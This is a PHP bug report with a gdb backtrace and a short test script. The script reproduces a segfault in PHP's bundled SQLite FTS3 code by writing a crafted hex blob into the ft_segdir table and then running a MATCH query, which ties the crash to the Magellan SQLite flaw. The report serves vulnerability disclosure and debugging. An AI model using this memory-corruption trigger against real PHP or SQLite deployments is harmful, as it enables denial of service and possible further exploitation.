Description:
------------
php suffers from a crash in __memcpy_sse2_unaligned 
due to issues with a security bug in sqlite which was recently reported has the ability to execute arbitrary code provided by an attacker.

https://blade.tencent.com/magellan/index_en.html

this bug is patched in sqlite but it appears php ships with support for the vulnerable versions of sqlite

ive tested this across a few different builds and all of them result in the same segfault in  __memcpy_sse2_unaligned


i have included a backtrace showing this on the current version i have installed at the moment, and a test script to reproduce this crash across systems with sqlite support

(logic@operations:~/dev/php/sqlite)$ gdb php
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from php...done.
(gdb) r sq-exp.php
Starting program: /usr/local/bin/php sq-exp.php
 
Program received signal SIGSEGV, Segmentation fault.
__memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:144
144	../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
(gdb) bt
#0  __memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:144
#1  0x0000000000527b63 in memcpy (__len=<optimized out>, __src=0x1065c61, 
    __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string3.h:53
#2  fts3SegReaderNext (p=p@entry=0x1065848, pReader=pReader@entry=0x1065bc8, 
    bIncr=0)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:13271
#3  0x0000000000528955 in fts3SegReaderStart (p=p@entry=0x1065848, 
    pCsr=pCsr@entry=0x10634f8, zTerm=zTerm@entry=0x1068888 "abandon", 
    nTerm=nTerm@entry=7)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:145672
#4  0x0000000000528fd8 in sqlite3Fts3MsrIncrStart (nTerm=7, 
    zTerm=0x1068888 "abandon", iCol=-1, pCsr=0x10634f8, p=0x1065848)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:145712
#5  fts3EvalPhraseStart (bOptOk=bOptOk@entry=1, p=0x1068808, pCsr=0x1066758, 
    pCsr=0x1066758)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:6175
#6  0x0000000000529a9c in fts3EvalStartReaders (pCsr=pCsr@entry=0x1066758, 
    pExpr=0x10687c8, pRc=pRc@entry=0x7fffffffa034)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:137632
#7  0x0000000000534036 in fts3EvalStart (pCsr=0x1066758)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:137961
#8  fts3FilterMethod (pCursor=<optimized out>, idxNum=<optimized out>, 
---Type <return> to continue, or q <return> to quit---
    idxStr=<optimized out>, nVal=<optimized out>, apVal=<optimized out>)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:5135
#9  0x00000000005181f8 in sqlite3VdbeExec (p=p@entry=0x1065ef8)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:77005
#10 0x000000000051d5ef in sqlite3Step (p=0x1065ef8)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:69486
#11 sqlite3_step (pStmt=<optimized out>)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:4016
#12 0x00000000005138e5 in sqlite3_exec (db=0x1051488, zSql=<optimized out>, 
    xCallback=xCallback@entry=0x0, pArg=pArg@entry=0x0, 
    pzErrMsg=pzErrMsg@entry=0x7fffffffa530)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/libsqlite/sqlite3.c:101758
#13 0x00000000004a6e27 in zim_sqlite3_exec (ht=1, return_value=0x7ffff7fba418, 
    return_value_ptr=<optimized out>, this_ptr=<optimized out>, 
    return_value_used=<optimized out>)
    at /home/logic/dev/php-5.6.36/ext/sqlite3/sqlite3.c:231
#14 0x000000000079c26f in zend_do_fcall_common_helper_SPEC (
    execute_data=<optimized out>)
    at /home/logic/dev/php-5.6.36/Zend/zend_vm_execute.h:558
#15 0x000000000072a2b0 in execute_ex (execute_data=0x7ffff7f843a8)
    at /home/logic/dev/php-5.6.36/Zend/zend_vm_execute.h:363
#16 0x00000000006ee130 in zend_execute_scripts (type=type@entry=8, 
    retval=retval@entry=0x0, file_count=file_count@entry=3)
---Type <return> to continue, or q <return> to quit---
    at /home/logic/dev/php-5.6.36/Zend/zend.c:1341
#17 0x0000000000688a00 in php_execute_script (
    primary_file=primary_file@entry=0x7fffffffcb20)
    at /home/logic/dev/php-5.6.36/main/main.c:2613
#18 0x000000000079dd6f in do_cli (argc=2, argv=0xed1ed0)
    at /home/logic/dev/php-5.6.36/sapi/cli/php_cli.c:998
#19 0x0000000000423bd1 in main (argc=2, argv=0xed1ed0)
    at /home/logic/dev/php-5.6.36/sapi/cli/php_cli.c:1382


Test script:
---------------
 <?php
    $database = new SQLite3("pwn.db");
	$database->exec("DROP TABLE IF EXISTS ft;");
	$database->exec("CREATE VIRTUAL TABLE ft USING fts3;");
	$database->exec("INSERT INTO ft VALUES('aback');");
	$database->exec("INSERT INTO ft VALUES('abaft');");
	$database->exec("INSERT INTO ft VALUES('abandon');");
	$database->exec("SELECT quote(root) from ft_segdir;");
	$database->exec("UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';");
	$database->exec("SELECT * FROM ft WHERE ft MATCH 'abandon';");
    $database->close();
    unlink('pwn.db');
?> 

Expected result:
----------------
script should run without crashing as expected, however it does not


Actual result:
--------------
(logic@operations:~/dev/php/sqlite)$ php sq-exp.php
 Segmentation fault